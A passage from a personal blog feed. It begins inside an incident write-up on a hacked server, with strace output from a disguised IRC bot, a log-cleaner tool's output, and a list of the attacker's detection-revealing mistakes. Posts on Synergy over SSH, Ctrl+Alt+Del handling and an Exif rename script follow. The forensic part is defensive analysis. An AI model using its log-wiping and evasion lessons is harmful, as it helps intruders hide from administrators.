behind a NAT gateway - it will be very hard to get hold of the&lt;br&gt;
miscreant.&lt;br&gt;
&lt;br&gt;
This incident will, in the long run, definitely help me getting&lt;br&gt;
rid of the NAT boxes in setups like that, but right now, we will &lt;br&gt;
have to make do with what we have.&lt;br&gt;
&lt;br&gt;
&amp;gt; Please investigate the host in question. Perhaps is this a&lt;br&gt;
&amp;gt; compromised host on your network acting as a jumpstation for&lt;br&gt;
&lt;br&gt;
Sure, and even in a NATed environment, this is still possible.&lt;br&gt;
&lt;br&gt;
Btw, you did a great job in analysing the compromised machine!&lt;br&gt;
&lt;br&gt;
I'll let you know when I have either further questions or any&lt;br&gt;
interesting results.&lt;br&gt;
&lt;br&gt;
Cheers,&lt;br&gt;
&lt;br&gt;
  Alexander Talos&lt;br&gt;
&lt;br&gt;
- --&lt;br&gt;
IT-Security, Universitaet Wien, ACOnet CERT&lt;br&gt;
&amp;lt;URL:http://www.univie.ac.at/ZID/security/&amp;gt;&lt;br&gt;
T: +43-1-4277-14351  M: +43-664-60277-14351&lt;br&gt;
&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;No luck there I'm afraid..

&lt;p&gt;Oh, - and I tried to log in using ssh (on port 54098) on all zombies listed here, but no ports where open. The other zombies are probably using other ports for the ssh backdoor.

&lt;p&gt;The other identified network stream, destined to &quot;83.18.74.235&quot; was garbled, so it's time to fire up up strace again:
&lt;p&gt;
&lt;pre&gt;
root@server1:/var/.x/psotnic# &lt;strong&gt;strace -f ./smbd conf1 &amp;amp;&amp;gt; /root/dump.strace&lt;/strong&gt;
&lt;/pre&gt;

&lt;p&gt;As expected, this creates a lot of output. Among other things, it tries to start the irc-client *censormode*X:
&lt;p&gt;
&lt;pre&gt;
[pid  7537] execve(&quot;/bin/sh&quot;, [&quot;sh&quot;, &quot;-c&quot;, &quot;*censormode*X -v 2&amp;gt; /dev/null&quot;]
&lt;/pre&gt;

&lt;p&gt;Which fails, since *censormode*X is not installed:
&lt;p&gt;
&lt;pre&gt;
[pid  7537] write(2, &quot;sh: &quot;, 4)         = 4&lt;br&gt;
[pid  7537] write(2, &quot;*censormode*X: not found&quot;, 17) = 17&lt;br&gt;
[pid  7537] write(2, &quot;n&quot;, 1)           = 1&lt;br&gt;
[pid  7537] close(2)                    = 0&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;You can see some of the traffic from tcpdump in the picture below:
&lt;p&gt;
&lt;img width=&quot;871&quot; height=&quot;635&quot; src=&quot;http://blog.larsstrand.org/images/articles/HollidayCracking_3_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;

&lt;p&gt;This was just for one of the two smbd-processes. The other connected to the same polish site, and instead of &quot;irc.powertech.no&quot;, it connected to &quot;irc.hitos.no&quot;, an IRC-server located in Troms&amp;oslash;. The same zombies are at that channel as well - guess I'll stick around there for a few days as well.

&lt;p&gt;Also, what the cracker did, was to run a program called &quot;hide&quot; to clean entries from various log-files:
&lt;p&gt;
&lt;pre&gt;
root@server1:/usr/lib/libsh# &lt;strong&gt;./hide +&lt;/strong&gt;&lt;br&gt;
                Linux Hider v2.0 by mave&lt;br&gt;
                enhanced by me!&lt;br&gt;
[+] [Shkupi Logcleaner] Removing + from the logs........ .&lt;br&gt;
&lt;br&gt;
[+] /var/log/messages  ... [done]&lt;br&gt;
&lt;br&gt;
[+] /var/run/utmp      ... [done]&lt;br&gt;
&lt;br&gt;
[+] /var/log/lastlog   ... [done]&lt;br&gt;
&lt;br&gt;
[+] /var/log/wtmp      ... [done]&lt;br&gt;
&lt;br&gt;
            * m i s s i o n  a c c o m p l i s h e d *&lt;br&gt;
&lt;br&gt;
                    p.h.e.e.r  S.H.c.r.e.w&lt;br&gt;
&lt;br&gt;
server1:/usr/lib/libsh# &lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;So why did the attacker then wipe out &quot;/var/log/*&quot;? Did he not trust this tool? Did he panicked?

&lt;p&gt;So the box has been compromised, backdoor installed and it's been converted to a zombie. The attacker made several mistakes allowing him to be detected:

&lt;ul&gt;
&lt;li&gt; Forgot to wipe out root's .bash_history.
&lt;li&gt; Wiped out everything under &quot;/var/log/*&quot;, including directories which several programs relied on and thereby refusing to start. Now, why did he do that? This certainly was stupid.
&lt;li&gt; Changed the root-password. Another bummer. Never ever change the root-password. This surely will catch the attention of a sysadmin.
&lt;li&gt;Did not password-protect the IRC-channel where all his zombies resides. Not that it doesn't matter much for us, since we would have sniffed that up as soon as the zombie tried to join the channel.
&lt;li&gt;Do the attacker still hang around the same channel as all his zombies does (the LaPi-guy)? If so he's just begging to be exposed.
&lt;/ul&gt;

&lt;p&gt;Severeal questions remains:

&lt;ol&gt;
&lt;li&gt; Why was the command &quot;ssh ftp@62.101.251.166&quot; entered? Did the attacker made a mistake in typing this command or did it serve some other purpose? The IP addres resolves to:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;dig +short -x 62.101.251.166&lt;/strong&gt;&lt;br&gt;
cA6FB653E.dhcp.bluecom.no.&lt;br&gt;
&lt;/pre&gt;
&lt;li&gt; What kind of traffic goes to 83.18.74.235 (manhattan.na.pl) ?
&lt;li&gt; And the most important question is, how did he get access in the first time? The server was running Ubuntu 6.06 LTS (i386) and was fairly updated. The compromised could be caused by:
&lt;ul&gt;
   &lt;li&gt;An exploit unknown to the public.
   &lt;li&gt;A user accessing this server from an already compromised host. The attacker could then sniff the the password.
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;</content>
</entry>
<entry>
<title type="html">Synergy - two screens, two OSes</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=synergy"/>
<id>tag:blog.larsstrand.org,2007-03-15:/article.php?story=synergy</id>
<published>2007-03-15T20:00:00+01:00</published>
<updated>2007-03-15T20:00:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">At work I need both Windows and Linux. So I've had a KVM switchbox from blackbox to easily switch between Windows and Linux. The KVM switch is showing it's age, since the display has lately become somewhat fuzzy. Recently I received two new LCD screens, and I decided to get rid of the old fuzzy KVM-switch. I wanted to try out Synergy - which enables two or more screens to be connected to different computers using one mouse and keyboard.
&lt;p&gt;It relies on a client/master software to be installed on each computer. The computer where the mouse and keyboard are (physically) connected are the master. The client(s) then talks to the master over the network. When my mouse pointer leaves my Windows screen, it enters my Linux screen to the right seamlessly. The master then sends all mouse and keyboard signals to the correct host. The keyboard follow the mouse, so when my mouse pointer is on Linux so is my keyboard. &lt;a href=&quot;http://blog.larsstrand.org/images/articles/synergy_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;120&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/synergy_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

&lt;p&gt;You'll get some nice, and a little bizzare, properties like cut'n'paste between Linux and Windows(!). Another nice feature is the ability to &quot;lock&quot; onto one screen by pressing &quot;Scroll Lock&quot;.

&lt;p&gt;Installation is a breeze. On Windows it's just click and install. On Linux, synergy can be found in both Fedora and Debian/Ubuntu packet repositories:
&lt;p&gt;

&lt;pre&gt;
 &amp;#36; &lt;strong&gt;apt-get install synergy&lt;/strong&gt;
&lt;/pre&gt;

&lt;p&gt;My keyboard and mouse are connected to my Widows computer, so that one is master. Linux is client. First I configure Windows and determine where my screens are (Windows to the left, Linux to the right). Then it's just to fire up synergy:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;synergyc -f -n lin1016 192.168.3.125&lt;/strong&gt;&lt;br&gt;
INFO: synergyc.cpp,716: Synergy client 1.3.1 on Linux 2.6.18-1.2239.fc5 #1 Fri Nov 10 13:04:06 EST 2006 i686&lt;br&gt;
DEBUG: CXWindowsScreen.cpp,840: XOpenDisplay(&quot;:0.0&quot;)&lt;br&gt;
DEBUG: CXWindowsScreenSaver.cpp,339: xscreensaver window: 0x00a00001&lt;br&gt;
DEBUG: CXWindowsScreen.cpp,110: screen shape: 0,0 1280x1024&lt;br&gt;
DEBUG: CXWindowsScreen.cpp,111: window is 0x01400004&lt;br&gt;
DEBUG: CScreen.cpp,38: opened display&lt;br&gt;
NOTE: synergyc.cpp,330: started client&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Debug messages when leaving and entering Linux:
&lt;p&gt;
&lt;pre&gt;
INFO: CScreen.cpp,116: leaving screen&lt;br&gt;
DEBUG: CXWindowsClipboard.cpp,313: open clipboard 1&lt;br&gt;
DEBUG: CXWindowsClipboard.cpp,348: close clipboard 1&lt;br&gt;
INFO: CScreen.cpp,98: entering screen&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Debug messages when leaving Linux, copy something to the Windows clipboard:&lt;a href=&quot;http://blog.larsstrand.org/images/articles/synergy_2_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;120&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/synergy_2.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
&lt;pre&gt;
INFO: CScreen.cpp,116: leaving screen&lt;br&gt;
DEBUG: CXWindowsClipboard.cpp,313: open clipboard 1&lt;br&gt;
DEBUG: CXWindowsClipboard.cpp,493: ICCCM fill clipboard 1&lt;br&gt;
DEBUG: CXWindowsClipboard.cpp,512:   available targets: TIMESTAMP (386), TEXT (406), &lt;br&gt;
COMPOUND_TEXT (260), STRING (31), TARGETS (384), LENGTH (468), DELETE (407), FILE_NAME (471), &lt;br&gt;
CHARACTER_POSITION (472), LINE_NUMBER (473), COLUMN_NUMBER (474), OWNER_OS (467), &lt;br&gt;
HOST_NAME (475), USER (463), CLASS (464), NAME (465), ATOM (4), INTEGER (19)&lt;br&gt;
DEBUG: CXWindowsClipboard.cpp,555:   added format 0 for target STRING (31) (6 bytes)&lt;br&gt;
DEBUG: CXWindowsClipboard.cpp,348: close clipboard 1&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;But there is one serious problem with this setup. Every keystroke are transmitted unencrypted between the master and client! So a potential eavesdropper could easily sniff all my password entered on Linux. To prevent that, we can tunnel all synergy traffic through SSH.

&lt;p&gt;So, I download Windows version of OpenSSH server from &lt;a href=&quot;http://sshwindows.sourceforge.net/&quot;&gt;http://sshwindows.sourceforge.net/&lt;/a&gt;. It hasn't been updated in a while, but works nicely here on my Win2K computer. I make sure SSH server automatically starts at boot and tries to log in. 

&lt;p&gt;Hm. No login? Time to read some documentation. Ok, here we go: Since SSH are based on Cygwin, it needs to extract user data from AD:

&lt;p&gt;
&lt;pre&gt;
  C:&amp;#92;Program Files&amp;#92;OpenSSH&amp;#92;bin&amp;gt;&lt;strong&gt;mkgroup -d ..&amp;#92;etc&amp;#92;group&lt;/strong&gt;&lt;br&gt;
  C:&amp;#92;Program Files&amp;#92;OpenSSH&amp;#92;bin&amp;gt;&lt;strong&gt;mkpasswd -d ..&amp;#92;etc&amp;#92;passwd&lt;/strong&gt;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;Try again. Much better:
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/synergy_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;120&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/synergy_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;ssh 192.168.3.125&lt;/strong&gt;&lt;br&gt;
&lt;br&gt;
                            ****USAGE WARNING****&lt;br&gt;
&lt;br&gt;
This is a private computer system. This computer system, including all&lt;br&gt;
related equipment, networks, and network devices (specifically including&lt;br&gt;
Internet access) are provided only for authorized use. This computer system&lt;br&gt;
may be monitored for all lawful purposes, including to ensure that its use&lt;br&gt;
is authorized, for management of the system, to facilitate protection against&lt;br&gt;
unauthorized access, and to verify security procedures, survivability, and&lt;br&gt;
operational security. Monitoring includes active attacks by authorized entities&lt;br&gt;
to test or verify the security of this system. During monitoring, information&lt;br&gt;
may be examined, recorded, copied and used for authorized purposes. All&lt;br&gt;
information, including personal information, placed or sent over this system&lt;br&gt;
may be monitored.&lt;br&gt;
&lt;br&gt;
Use of this computer system, authorized or unauthorized, constitutes consent&lt;br&gt;
to monitoring of this system. Unauthorized use may subject you to criminal&lt;br&gt;
prosecution. Evidence of unauthorized use collected during monitoring may be&lt;br&gt;
used for administrative, criminal, or other adverse action. Use of this system&lt;br&gt;
constitutes consent to monitoring for these purposes.&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
nblks1@192.168.3.125's password: &lt;br&gt;
CMD.EXE was started with '&amp;#92;&amp;#92;XXXXXX&amp;#92;nblks1&amp;#36;' as the current directory path.  &lt;br&gt;
UNC paths are not supported.  Defaulting to Windows directory.&lt;br&gt;
Microsoft Windows 2000 [Version 5.00.2195]&lt;br&gt;
(C) Copyright 1985-2000 Microsoft Corp.&lt;br&gt;
&lt;br&gt;
C:&amp;#92;WINNT&amp;gt;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;p&gt;Great. Now it's just to set up a tunnel and tell synergy to connect to localhost:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;ssh -f -N -L 24800:192.168.3.125:24800 192.168.3.125&lt;/strong&gt;&lt;br&gt;
&amp;#36; &lt;strong&gt;synergyc -n lin1016 localhost&lt;/strong&gt;&lt;br&gt;
INFO: synergyc.cpp,716: Synergy client 1.3.1 on Linux 2.6.18-1.2239.fc5 #1 Fri Nov 10 13:04:06 EST 2006 i686&lt;br&gt;
DEBUG: CXWindowsScreen.cpp,840: XOpenDisplay(&quot;:0.0&quot;)&lt;br&gt;
DEBUG: CXWindowsScreenSaver.cpp,339: xscreensaver window: 0x00a00001&lt;br&gt;
DEBUG: CXWindowsScreen.cpp,110: screen shape: 0,0 1280x1024 &lt;br&gt;
DEBUG: CXWindowsScreen.cpp,111: window is 0x01400004&lt;br&gt;
DEBUG: CScreen.cpp,38: opened display&lt;br&gt;
NOTE: synergyc.cpp,330: started client&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

&lt;a href=&quot;http://blog.larsstrand.org/images/articles/synergy_4_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;138&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/synergy_4.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;

&lt;p&gt;I've enabled both OpenSSH and Synergy to start automatically at boot on Windows. But since I'm tunneling through SSH and other users may use this workspace (and desktops), there no easy way of enabling Synergy automatic without manually typing password. One solution is to use a shared user with ssh-certificates, but neither I nor the security policy permits that. Instead I create a small script that fires up the ssh tunnel and synergy at login. Since it's called from &quot;&lt;strong&gt;.xsession&lt;/strong&gt;&quot; it do need a keyboard on my Linux to type the SSH password - but I can live with that:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cat ~/bin/syn.sh&lt;/strong&gt;&lt;br&gt;
#/bin/sh&lt;br&gt;
xhost +localhost&lt;br&gt;
echo &quot;Setting up ssh-tunnel&quot;&lt;br&gt;
ssh -f -N -L 24800:192.168.3.125:24800 192.168.3.125&lt;br&gt;
echo &quot;Starting synergy&quot;&lt;br&gt;
synergyc -n lin1016 localhost&lt;br&gt;
echo &quot;Remember to shut down the ssh tunnel before you log out!&quot;&lt;br&gt;
sleep 5&lt;br&gt;
&amp;#36; &lt;strong&gt;cat ~/.xsession&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
~/bin/syn.sh&lt;br&gt;
...&lt;br&gt;
&lt;/pre&gt;</content>
</entry>
<entry>
<title type="html">Log and disabling Ctrl+Alt+Del</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=CtrlAltDelete"/>
<id>tag:blog.larsstrand.org,2007-03-12:/article.php?story=CtrlAltDelete</id>
<published>2007-03-12T20:48:00+01:00</published>
<updated>2007-03-12T20:48:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">In a server rack, one console are usually shared by several different servers. One rack may contain servers belonging to different departments. One of those departments are usually doomed to have one trigger happy sysadmin. This sysadmin may reboot the wrong server accidentally using Ctrl+Alt+Del. Ever been exposed to one of those? Luckily, it easy to disable Ctrl+Alt+Del on Linux.
On Linux, &quot;&lt;strong&gt;/etc/inittab&lt;/strong&gt;&quot; defines what should be done when Ctrl+Alt+Del are pressed. Usually, the file contains something like this:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;cat /etc/inittab&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
# What to do when CTRL-ALT-DEL is pressed.&lt;br&gt;
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now&lt;br&gt;
...&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
So, in runlevel 1-5, the command &quot;shutdown&quot; is to be executed when someone press Ctrl+Alt+Del. It could be changed to anything we'd like. We would like to log the incident and issue a warning to the user on the console:
&lt;p&gt;
&lt;pre&gt;
ca:12345:ctrlaltdel:/usr/bin/logger -t init -s &quot;Ctrl+Alt+Del pressed on console. Use normal shutdown routines.&quot;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
When someone now tries the &quot;three finger salute&quot;, they'll be told to use &quot;normal shutdown routines&quot;. The incident are also logged:
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;tail -1 /var/log/messages&lt;/strong&gt;&lt;br&gt;
Mar 12 20:50:19 titan INIT: Ctrl+Alt+Del pressed on console. Use normal shutdown routines.&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;strong&gt;Update!&lt;/strong&gt; - Newer Ubuntu uses &lt;a href=&quot;http://upstart.ubuntu.com/&quot;&gt;Upstart&lt;/a&gt; and things are a little different. You don't define what action to be taken in /etc/inittab (it no longer exists), but we have to modify a file in /etc/event.d/:
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;cat /etc/event.d/control-alt-delete&lt;/strong&gt;&lt;br&gt;
# control-alt-delete - emergency keypress handling&lt;br&gt;
#&lt;br&gt;
# This task is run whenever the Control-Alt-Delete key combination is&lt;br&gt;
# pressed.  Usually used to shut down the machine.&lt;br&gt;
&lt;br&gt;
start on control-alt-delete&lt;br&gt;
&lt;br&gt;
#exec /sbin/shutdown -r now &quot;Control-Alt-Delete pressed&quot;&lt;br&gt;
/usr/bin/logger -t init -s &quot;Ctrl+Alt+Del pressed on console. Use normal shutdown routines.&quot;&lt;br&gt;
&lt;/pre&gt;</content>
</entry>
<entry>
<title type="html">Sort pictures based on Exif date</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=exifdatesort"/>
<id>tag:blog.larsstrand.org,2007-03-05:/article.php?story=exifdatesort</id>
<published>2007-03-05T19:39:00+01:00</published>
<updated>2007-03-05T19:39:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Recently, I bumped into a problem: I had received pictures from same event from three different sources (cameras). How could I sort these based on when the pictures were taken? A small Perl script are born to the rescue.
The program &quot;jhead&quot; dumps &lt;a href=&quot;http://en.wikipedia.org/wiki/Exif&quot;&gt;Exif&lt;/a&gt; data contained in JPEG images. Running jhead on a image without options gives:
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;jhead IMG_1195.JPG&lt;/strong&gt;&lt;br&gt;
File name    : IMG_1195.JPG&lt;br&gt;
File size    : 2988387 bytes&lt;br&gt;
File date    : 2007:03:04 15:37:34&lt;br&gt;
Camera make  : Canon&lt;br&gt;
Camera model : Canon DIGITAL IXUS 800 IS&lt;br&gt;
Date/Time    : 2007:02:22 19:17:14&lt;br&gt;
Resolution   : 2816 x 2112&lt;br&gt;
Flash used   : Yes (auto)&lt;br&gt;
Focal length :  5.8mm  (35mm equivalent: 37mm)&lt;br&gt;
CCD width    : 5.72mm&lt;br&gt;
Exposure time: 0.017 s  (1/60)&lt;br&gt;
Aperture     : f/2.8&lt;br&gt;
Whitebalance : Auto&lt;br&gt;
Metering Mode: matrix&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
The &quot;Date/Time&quot; header gives the time stamp. Renaming the file to the date, would make it easy to sort the pictures in time based on filename:
&lt;p&gt;
   &lt;code&gt;IMG_1195.JPG --&amp;gt; 20070222_191714.jpg&lt;/code&gt;
&lt;p&gt;
&lt;p&gt;Instead of manually renaming a couple of hundred images, Perl can do the job:
&lt;p&gt;
&lt;pre&gt;
#!/usr/bin/perl -w&lt;br&gt;
#&lt;br&gt;
# filename: exif_date_sort.pl&lt;br&gt;
#&lt;br&gt;
# Small utility that renames pictures based on the Exif date.&lt;br&gt;
#&lt;br&gt;
# Date: Sun Mar  4 19:13:42 CET 2007&lt;br&gt;
#&lt;br&gt;
# Lars Strand&lt;br&gt;
#&lt;br&gt;
use strict;&lt;br&gt;
use File::Glob qw(:globally :nocase);&lt;br&gt;
use File::Copy;&lt;br&gt;
&lt;br&gt;
die &quot;Usage: &amp;#36;0 PATH&quot; if &amp;#36;#ARGV &amp;#60; 0;&lt;br&gt;
&lt;br&gt;
while (@ARGV) {&lt;br&gt;
    my @filelist = glob(&amp;#36;ARGV&amp;#91;0&amp;#93;.&quot;*.jpg&quot;);&lt;br&gt;
    foreach my &amp;#36;file (@filelist) {&lt;br&gt;
        for my &amp;#36;line (`jhead &quot;&amp;#36;file&quot;`) {&lt;br&gt;
            if (&amp;#36;line =~ /^Date&amp;#92;/Time&amp;#92;s*:&amp;#92;s*(&amp;#92;d+):(&amp;#92;d+):(&amp;#92;d+)&amp;#92;s*(&amp;#92;d+):(&amp;#92;d+):(&amp;#92;d+)/) {&lt;br&gt;
                print &quot;&amp;#36;file --&amp;#62; &amp;#36;1&amp;#36;2&amp;#36;3_&amp;#36;4&amp;#36;5&amp;#36;6.jpg&amp;#92;n&quot;;&lt;br&gt;
                copy(&quot;&amp;#36;file&quot;, &quot;&amp;#36;1&amp;#36;2&amp;#36;3_&amp;#36;4&amp;#36;5&amp;#36;6.jpg&quot;) or die &quot;Error: Copy failed: &amp;#36;!&quot;;&lt;br&gt;
            }&lt;br&gt;
        }&lt;br&gt;
    }&lt;br&gt;
    shift @ARGV;&lt;br&gt;
}&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;The script takes one or more directories as argument. Every JPG file that has a Exif date header, are copied to a new &quot;date-filename&quot;.

&lt;p&gt;Running it gives the following output:
&lt;pre&gt;
&amp;#36; &lt;strong&gt;~/exif_date_sort.pl 200702-Veggli/&lt;/strong&gt;&lt;br&gt;
200702-Veggli/IMG_1196.JPG --&amp;gt; 20070222_194000.jpg&lt;br&gt;
200702-Veggli/IMG_1197.JPG --&amp;gt; 20070222_194007.jpg&lt;br&gt;
200702-Veggli/IMG_1198.JPG --&amp;gt; 20070222_194012.jpg&lt;br&gt;
200702-Veggli/IMG_1200.JPG --&amp;gt; 20070222_194437.jpg&lt;br&gt;
200702-Veggli/IMG_1201.JPG --&amp;gt; 20070222_194443.jpg&lt;br&gt;
200702-Veggli/IMG_1202.JPG --&amp;gt; 20070222_194643.jpg&lt;br&gt;
200702-Veggli/IMG_1203.JPG --&amp;gt; 20070222_194844.jpg&lt;br&gt;
...&lt;br&gt;
&lt;/pre&gt;</content>
</entry>
</feed>
